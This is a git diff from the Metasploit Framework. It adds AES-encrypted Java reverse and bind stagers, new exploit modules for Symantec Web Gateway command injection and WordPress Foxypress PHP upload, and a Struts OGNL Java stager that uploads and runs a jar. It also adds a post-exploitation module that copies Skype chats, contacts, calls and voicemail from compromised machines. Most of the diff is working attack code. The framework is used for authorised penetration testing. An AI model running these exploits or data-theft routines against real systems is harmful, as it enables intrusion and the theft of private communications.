diff --git a/data/java/metasploit/AESEncryption.class b/data/java/metasploit/AESEncryption.class new file mode 100644 index 0000000000..11e0a959a1 Binary files /dev/null and b/data/java/metasploit/AESEncryption.class differ diff --git a/data/java/metasploit/Payload.class b/data/java/metasploit/Payload.class index c8bc897506..73a5dc55f4 100755 Binary files a/data/java/metasploit/Payload.class and b/data/java/metasploit/Payload.class differ diff --git a/external/source/javapayload/src/metasploit/AESEncryption.java b/external/source/javapayload/src/metasploit/AESEncryption.java new file mode 100644 index 0000000000..b8f993b9d6 --- /dev/null +++ b/external/source/javapayload/src/metasploit/AESEncryption.java @@ -0,0 +1,42 @@ +package metasploit; + +import java.io.DataInputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.security.MessageDigest; +import java.security.SecureRandom; + +import javax.crypto.Cipher; +import javax.crypto.CipherInputStream; +import javax.crypto.CipherOutputStream; +import javax.crypto.spec.IvParameterSpec; +import javax.crypto.spec.SecretKeySpec; + +/** + * Utility class to enable AES encryption for stagers. This is in its own class + * because it depends on classes only present on Sun JRE 1.4+, and incorporating + * it into the main {@link Payload} class would have made it impossible for + * other/older JREs to load it. + */ +public class AESEncryption { + public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception { + DataInputStream din = new DataInputStream(in); + din.readInt(); // first class size 0 as marker in JavaPayload + SecureRandom sr = new SecureRandom(); + byte[] outIV = new byte[16]; + sr.nextBytes(outIV); + out.write(outIV); + out.flush(); + byte[] inIV = new byte[16]; + din.readFully(inIV); + byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes()); + Cipher co = Cipher.getInstance("AES/CFB8/NoPadding"); + co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr); + Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding"); + ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr); + return new Object[] { + new CipherInputStream(din, ci), + new CipherOutputStream(out, co), + }; + } +} \ No newline at end of file diff --git a/external/source/javapayload/src/metasploit/Payload.java b/external/source/javapayload/src/metasploit/Payload.java index 7afa376932..acc87fd744 100644 --- a/external/source/javapayload/src/metasploit/Payload.java +++ b/external/source/javapayload/src/metasploit/Payload.java @@ -108,6 +108,9 @@ public class Payload extends ClassLoader { if(props.getProperty("URL", "").startsWith("https:")) { writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class")); } + if (props.getProperty("AESPassword", null) != null) { + writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class")); + } FileOutputStream fos = new FileOutputStream(propFile); props.store(fos, ""); fos.close(); @@ -207,6 +210,15 @@ public class Payload extends ClassLoader { out = socket.getOutputStream(); } + String aesPassword = props.getProperty("AESPassword", null); + if (aesPassword != null) { + // load the crypto code via reflection, to avoid loading + // it when it is not needed (it requires Sun Java 1.4+ or JCE) + Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] {InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[] {in, out, aesPassword}); + in = (InputStream) streams[0]; + out = (OutputStream) streams[1]; + } + // build the stage parameters, if any StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " "); String[] stageParams = new String[stageParamTokenizer.countTokens()]; diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 0c821b4b98..c80192c775 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -10,6 +10,7 @@ require 'rex/parser/burp_session_nokogiri' require 'rex/parser/ci_nokogiri' require 'rex/parser/wapiti_nokogiri' require 'rex/parser/openvas_nokogiri' +require 'rex/parser/fusionvm_nokogiri' # Legacy XML parsers -- these will be converted some day @@ -2678,6 +2679,9 @@ class DBManager if (firstline.index(" attrs["IPAddress"], + :name => attrs["HostName"], + :workspace => @args[:wspace] + } + thost[:host] = attrs["IPAddress"] + thost[:name] = attrs["HostName"] + @host = db_report(:host, thost) + when "OS" + @state[:has_text] = true + when "Port" + @service = { + :host => @host, + :port => attrs["Number"], + :state => "open" + } + when "Service" + @state[:has_text] = true + when "Protocol" + @state[:has_text] = true + when "Exposure" + @vuln = { + :host => @host, + :refs => [] + } + when "Title" + @state[:has_text] = true + when "Description" + @state[:has_text] = true + when "CVE" + @state[:has_text] = true + when "References" + @state[:has_text] = true + end + end + + def end_element(name=nil) + unless in_tag("JobOrder") + case name + when "OS" + unless @host.nil? or @text.blank? + tnote = { + :type => "host.os.fusionvm_fingerprint", + :data => { :os => @text.strip }, + :host => @host, + :workspace => @args[:wspace] + } + db_report(:note, tnote) + @host.normalize_os + end + when "IPAdress" + @host = nil + when "Service" + @service[:name] = @text.strip + when "Protocol" + @service[:proto] = @text.strip.downcase + when "Port" + db_report(:service, @service) + when "Exposure" + db_report(:vuln, @vuln) + when "Title" + @vuln[:name] = @text.strip + when "Description" + @vuln[:info] = @text.strip + when "CVE" + @vuln[:refs] << "CVE-#{@text.strip}" + when "References" + unless @text.blank? + @text.split(' ').each do |ref| + next unless ref.start_with? "http" + if ref =~ /MS\d{2}-\d{3}/ + @vuln[:refs] << "MSB-#{$&}" + else + @vuln[:refs] << "URL-#{ref.strip}" + end + end + end + end + end + @text = nil + @state[:current_tag].delete name + end + + + +end +end +end \ No newline at end of file diff --git a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb index 581b77d9e3..92abc35387 100644 --- a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb @@ -32,13 +32,17 @@ class Metasploit3 < Msf::Auxiliary 'jcran' # Authentication bypass bruteforce implementation ], 'References' => [ - ['CVE', '2012-2122'] + ['CVE', '2012-2122'], + ['OSVDB', '82804'] ], 'DisclosureDate' => 'Jun 09 2012', 'License' => MSF_LICENSE ) deregister_options('PASSWORD') + register_options( [ + OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ]) + ], self.class ) end diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb new file mode 100644 index 0000000000..1f82d8522e --- /dev/null +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -0,0 +1,97 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection", + 'Description' => %q{ + This module exploits a command injection vulnerability found in Symantec Web + Gateway's HTTP service due to the insecure usage of the exec() function. This module + abuses the spywall/ipchange.php file to execute arbitrary OS commands without + authentication. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Tenable Network Security', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-0297' ], + [ 'BID', '53444' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ], + [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ] + ], + 'Payload' => + { + 'BadChars' => "\x00\x0d\x0a\x26", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl', + } + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['Symantec Web Gateway 5.0.2.8', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "May 17 2012", + 'DefaultTarget' => 0)) + end + + + def check + res = send_request_raw({ + 'method' => 'GET', + 'uri' => '/spywall/login.php' + }) + + if res and res.body =~ /\Symantec Web Gateway\<\/title\>/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + def exploit + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + + peer = "#{rhost}:#{rport}" + + post_data = "subnet=" + post_data << "\";" + payload.raw + ";#" + + print_status("#{peer} - Sending Command injection") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{uri}spywall/ipchange.php", + 'data' => post_data + }) + + # If the server doesn't return the default redirection, probably + # something is wrong + if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/ + print_error("#{peer} - Probably command not executed, aborting!") + return + end + + end + + +end diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index 6fb1931ad4..40fea4e7f6 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability", + 'Name' => "Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Symantec Web Gateway's HTTP service. By injecting PHP code in the access log, it is possible to load it diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 805b2545dd..cd732eb105 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Johannes Dahse', # Vulnerability discovery and PoC 'Andreas Nusser', # Vulnerability discovery and PoC 'juan vazquez', # Metasploit module - 'sinn3r' # Metasploit module + 'sinn3r', # Metasploit module + 'mihi' # ARCH_JAVA support ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', @@ -40,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'EDB', '18329'], [ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt'] ], - 'Platform' => [ 'win', 'linux'], + 'Platform' => [ 'win', 'linux', 'java'], 'Privileged' => true, 'Targets' => [ @@ -56,6 +57,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'linux' } ], + [ 'Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + }, + ] ], 'DisclosureDate' => 'Jan 06 2012', 'DefaultTarget' => 0)) @@ -73,6 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote uri = String.new(datastore['TARGETURI']) uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win' uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux' + uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,CMD,'')%2b'") if target['Platform'] == 'java' uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) vprint_status("Attempting to execute: #{cmd}") @@ -120,14 +128,63 @@ class Metasploit3 < Msf::Exploit::Remote @payload_exe = "/tmp/" + file end - def on_new_session(client) - if target['Platform'] == 'linux' - print_status("Deleting #{@payload_exe} payload file") - execute_command("/bin/sh@-c@rm #{@payload_exe}") - else - print_status("Windows does not allow running executables to be deleted") - print_status("Delete the #{@payload_exe} file manually after migrating") + def java_upload_part(part, filename, append = 'false') + cmd = "" + cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append})," + cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}'))," + cmd << "#f.close()" + execute_command(cmd) + end + + def java_stager + @payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar" + append = 'false' + jar = payload.encoded_jar.pack + + chunk_length = 384 # 512 bytes when base64 encoded + + while(jar.length > chunk_length) + java_upload_part(jar[0, chunk_length], @payload_exe, append) + jar = jar[chunk_length, jar.length - chunk_length] + append='true' end + java_upload_part(jar, @payload_exe, append) + + cmd = "" + # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1 + cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," + cmd << "#q.setAccessible(true),#q.set(null,true)," + cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," + cmd << "#q.setAccessible(true),#q.set(null,false)," + # create classloader + cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," + # load class + cmd << "#c=#cl.loadClass('metasploit.Payload')," + # invoke main method + cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" + cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" + execute_command(cmd) + end + + def on_new_session(client) + + if client.type != "meterpreter" + print_error("Please use a meterpreter payload in order to automatically cleanup.") + print_error("The #{@payload_exe} file must be removed manually.") + return + end + + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + + if client.sys.config.sysinfo["OS"] =~ /Windows/ + print_error("Windows does not allow running executables to be deleted") + print_error("The #{@payload_exe} file must be removed manually after migrating") + return + end + + print_status("Deleting the #{@payload_exe} file") + client.fs.file.rm(@payload_exe) + end def exploit @@ -142,6 +199,8 @@ class Metasploit3 < Msf::Exploit::Remote linux_stager when 'win' windows_stager + when 'java' + java_stager else raise RuntimeError, 'Unsupported target platform!' end diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb new file mode 100644 index 0000000000..e14d898a7f --- /dev/null +++ b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb @@ -0,0 +1,109 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution', + 'Description' => %q{ + This module exploits an arbitrary PHP code execution flaw in the WordPress + blogging software plugin known as Foxypress. The vulnerability allows for arbitrary + file upload and remote code execution via the uploadify.php script. The Foxypress + plug-in versions 0.4.2.1 and below are vulnerable. + }, + 'Author' => + [ + 'Sammy FORGIT', # Vulnerability Discovery, PoC + 'patrick' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + ['EDB', '18991'], + ['OSVDB', '82652'], + ['BID', '53805'], + ], + 'Privileged' => false, + 'Payload' => + { + 'Compat' => + { + 'ConnectionType' => 'find', + }, + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Jun 05 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]), + ], self.class) + end + + def check + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php" + }) + + if res and res.code == 200 + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + def exploit + + uri = target_uri.path + uri << '/' if uri[-1,1] != '/' + + peer = "#{rhost}:#{rport}" + + post_data = Rex::MIME::Message.new + post_data.add_part("", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"") + + print_status("#{peer} - Sending PHP payload") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php", + 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, + 'data' => post_data.to_s + }) + + if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/ + print_error("#{peer} - File wasn't uploaded, aborting!") + return + end + + print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php" + }) + + if res and res.code != 200 + print_error("#{peer} - Server returned #{res.code.to_s}") + end + + end + +end diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb index 16a0e5c476..b7b6344e0f 100644 --- a/modules/exploits/windows/browser/ms11_093_ole32.rb +++ b/modules/exploits/windows/browser/ms11_093_ole32.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Microsoft Windows OLE Object File Handling Remote Code Execution", + 'Name' => "MS11-093 Microsoft Windows OLE Object File Handling Remote Code Execution", 'Description' => %q{ This module exploits a type confusion vulnerability in the OLE32 component of Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple @@ -32,6 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + [ 'MSB', 'MS11-093'], [ 'CVE', '2011-3400' ], [ 'OSVDB', '77663'], [ 'BID', '50977' ], diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb index 760c4af01f..da22678f79 100644 --- a/modules/exploits/windows/fileformat/ms12_005.rb +++ b/modules/exploits/windows/fileformat/ms12_005.rb @@ -192,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote p = file.sub(path+'/','') if File.directory?(file) - print_status("Packging directory: #{file}") + print_status("Packaging directory: #{file}") zip.add_file(p) else on_file_read(p, file) do |fname, buf| diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index 9b207f1ff9..20f163346d 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -38,6 +38,7 @@ module Metasploit3 register_advanced_options( [ + Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]), Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ]) ], self.class ) @@ -49,6 +50,15 @@ module Metasploit3 spawn = datastore["Spawn"] || 2 c = "" c << "Spawn=#{spawn}\n" + pass = datastore["AESPassword"] || "" + if pass != "" + c << "AESPassword=#{pass}\n" + @class_files = [ + [ "metasploit", "AESEncryption.class" ], + ] + else + @class_files = [ ] + end c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] c diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 981cee76b8..d21ec0e6b8 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -38,6 +38,7 @@ module Metasploit3 register_advanced_options( [ + Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]), Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ]) ], self.class ) @@ -49,6 +50,15 @@ module Metasploit3 spawn = datastore["Spawn"] || 2 c = "" c << "Spawn=#{spawn}\n" + pass = datastore["AESPassword"] || "" + if pass != "" + c << "AESPassword=#{pass}\n" + @class_files = [ + [ "metasploit", "AESEncryption.class" ], + ] + else + @class_files = [ ] + end c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"] c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb new file mode 100644 index 0000000000..4063ce464d --- /dev/null +++ b/modules/post/multi/gather/skype_enum.rb @@ -0,0 +1,318 @@ +## +# $Id$ +## + +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'csv' + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/user_profiles' + +require 'msf/core/post/osx/system' + + + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::UserProfiles + + include Msf::Post::OSX::System + + + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Gather Skype User Data Enumeration', + 'Description' => %q{ + This module will enumerate the Skype accounts settings, contact list, call history, chat logs, + file transfer history and voicemail log saving all the data in to CSV files for analysis. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Carlos Perez '], + 'Version' => '$Revision$', + 'Platform' => [ 'windows', 'osx' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ] + )) + register_advanced_options( + [ + # Set as an advanced option since it can only be useful in shell sessions. + OptInt.new('TIMEOUT', [true ,'Timeout in seconds when downloading main.db on a shell session.', 90]), + ], self.class) + end + + # Run Method for when run command is issued + def run + # syinfo is only on meterpreter sessions + print_status("Running module for Skype enumeration against #{sysinfo['Computer']}") if not sysinfo.nil? + + # Ensure that SQLite3 gem is installed + begin + require 'sqlite3' + rescue LoadError + print_error("Failed to load sqlite3, try 'gem install sqlite3'") + return + end + + if (session.platform =~ /java/) || (session.platform =~ /osx/) + # Make sure a Java Meterpreter on anything but OSX will exit + if session.platform =~ /java/ and sysinfo['OS'] !~ /Mac OS X/ + print_error("This session type and platform are not supported.") + return + end + # Iterate thru each user profile on as OSX System for users not in the default install + users = get_users.collect {|p| if p['uid'].to_i > 500; p; end }.compact + users.each do |p| + if check_skype("#{p['dir']}/Library/Application Support/", p['name']) + db_in_loot = download_db(p) + # Exit if file was not successfully downloaded + return if db_in_loot.nil? + process_db(db_in_loot,p['name']) + end + end + elsif (session.platfom =~ /win/ and session.type =~ /meter/) + # Iterate thru each user profile in a Windows System using Meterpreter Post API + grab_user_profiles().each do |p| + if check_skype(p['AppData'],p['UserName']) + db_in_loot = download_db(p) + process_db(db_in_loot,p['UserName']) + end + end + else + print_error("This session type and platform are not supported.") + end + + end + + # Check if Skype is installed. Returns true or false. + def check_skype(path, user) + dirs = [] + if session.type =~ /meterpreter/ + session.fs.dir.foreach(path) do |d| + dirs << d + end + else + dirs = cmd_exec("ls -m \"#{path}\"").split(", ") + end + dirs.each do |dir| + if dir =~ /Skype/ + print_good("Skype account found for #{user}") + return true + end + end + print_error("Skype is not installed for #{user}") + return false + end + + # Download file using Meterpreter functionality and returns path in loot for the file + def download_db(profile) + if session.type =~ /meterpreter/ + if sysinfo['OS'] =~ /Mac OS X/ + file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/","main.db",true) + else + file = session.fs.file.search("#{profile['AppData']}\\Skype","main.db",true) + end + else + file = cmd_exec("mdfind","-onlyin #{profile['dir']} -name main.db").split("\n").collect {|p| if p =~ /Skype\/\w*\/main.db$/; p; end }.compact + end + + file_loc = store_loot("skype.config", + "binary/db", + session, + "main.db", + "Skype Configuration database for #{profile['UserName']}" + ) + + file.each do |db| + if session.type =~ /meterpreter/ + maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}" + print_status("Downloading #{maindb}") + session.fs.file.download_file(file_loc,maindb) + else + print_status("Downloading #{db}") + # Giving it 1:30 minutes to download since the file could be several MB + maindb = cmd_exec("cat", "\"#{db}\"", datastore['TIMEOUT']) + if maindb.nil? + print_error("Could not download the file. Set the TIMEOUT option to a higher number.") + return + end + # Saving the content as binary so it can be used + output = ::File.open(file_loc, "wb") + maindb.each_line do |d| + output.puts(d) + end + output.close + end + print_good("Configuration database saved to #{file_loc}") + end + return file_loc + end + + # Saves rows returned from a query to a given CSV file + def save_csv(data,file) + CSV.open(file, "w") do |csvwriter| + data.each do |record| + csvwriter << record + end + end + end + # Extracts the data from the DB in to a CSV file + def process_db(db_path,user) + db = SQLite3::Database.new(db_path) + + # Extract information for accounts configured in Skype + print_status("Enumerating accounts") + user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision", + "skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info", + datetime("timestamp","unixepoch")"registration_timestamp", + "nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status", + "owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname", + "birthday", "gender", "languages", "country", "province", "city", "phone_home", + "phone_office", "phone_mobile", "emails", "homepage", "about", + datetime("profile_timestamp","unixepoch"), "received_authrequest", + "displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp", + "mood_text", "timezone", "nrof_authed_buddies", "ipcountry", + "given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"), + "assigned_speeddial", datetime("lastused_timestamp","unixepoch"), + "assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"), + datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email", + "verified_email", "verified_company" FROM Accounts;') + + # Check if an account exists and if it does enumerate if not exit. + if user_rows.length > 1 + user_info = store_loot("skype.accounts", + "text/plain", + session, + "", + "skype_accounts.csv", + "Skype User #{user} Account information from configuration database." + ) + print_good("Saving account information to #{user_info}") + save_csv(user_rows,user_info) + else + print_error("No skype accounts are configured for #{user}") + return + end + + # Extract chat log from the database + print_status("Extracting chat message log") + cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner", + datetime("timestamp","unixepoch"), "body_xml", + "remote_id" FROM "Messages" WHERE type == 61;') + chat_log = store_loot("skype.chat", + "text/plain", + session, + "", + "skype_chatlog.csv", + "Skype User #{user} chat log from configuration database." + ) + + if cl_rows.length > 1 + print_good("Saving chat log to #{chat_log}") + save_csv(cl_rows, chat_log) + else + print_error("No chat logs where found!") + end + + # Extract file transfer history + print_status("Extracting file transfer history") + ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname", + datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"), + "filepath", "filename", "filesize", "bytestransferred", + "convo_id", datetime("accepttime","unixepoch") FROM "Transfers";') + + file_transfer = store_loot("skype.filetransfer", + "text/csv", + session, + "", + "skype_filetransfer.csv", + "Skype User #{user} file transfer history." + ) + # Check that we have actual file transfers to report + if ft_rows.length > 1 + print_good("Saving file transfer history to #{file_transfer}") + save_csv(ft_rows, file_transfer) + else + print_error("No file transfer history was found!") + end + + # Extract voicemail history + print_status("Extracting voicemail history") + vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status", + "subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration", + "playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags", + "size", "path", "xmsg" FROM "Voicemails";') + + voicemail = store_loot("skype.voicemail", + "text/csv", + session, + "", + "skype_voicemail.csv", + "Skype User #{user} voicemail history." + ) + + if vm_rows.length > 1 + print_good("Saving voicemail history to #{voicemail}") + save_csv(vm_rows, voicemail) + else + print_error("No voicemail history was found!") + end + + # Extracting call log + print_status("Extracting call log") + call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"), + "topic","host_identity", "mike_status", "duration", "soundlevel", "name", + "is_incoming", "is_conference", "is_on_hold", + datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience", + "premium_video_sponsor_list", "conv_dbid" FROM "Calls";') + + call_log = store_loot("skype.callhistory", + "text/csv", + session, + "", + "skype_callhistory.csv", + "Skype User #{user} call history." + ) + if call_rows.length > 1 + print_good("Saving call log to #{call_log}") + save_csv(call_rows, call_log) + else + print_error("No call log was found!") + end + + # Extracting contact list + print_status("Extracting contact list") + ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname", + "birthday", "languages", "country", "province", "city", "phone_home", + "phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text", + "ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname", + "given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1", + "assigned_phone1_label", "assigned_phone2", "assigned_phone2_label", + "assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked", + "main_phone", "phone_home_normalized", "phone_office_normalized", + "phone_mobile_normalized", "verified_email", "verified_company" + FROM "Contacts";') + + contact_log = store_loot("skype.contactlist", + "text/csv", + session, + "", + "skype_contactlist.csv", + "Skype User #{user} contact list." + ) + if ct_rows.length > 1 + print_good("Saving contact list to #{contact_log}") + save_csv(ct_rows, contact_log) + end + end +end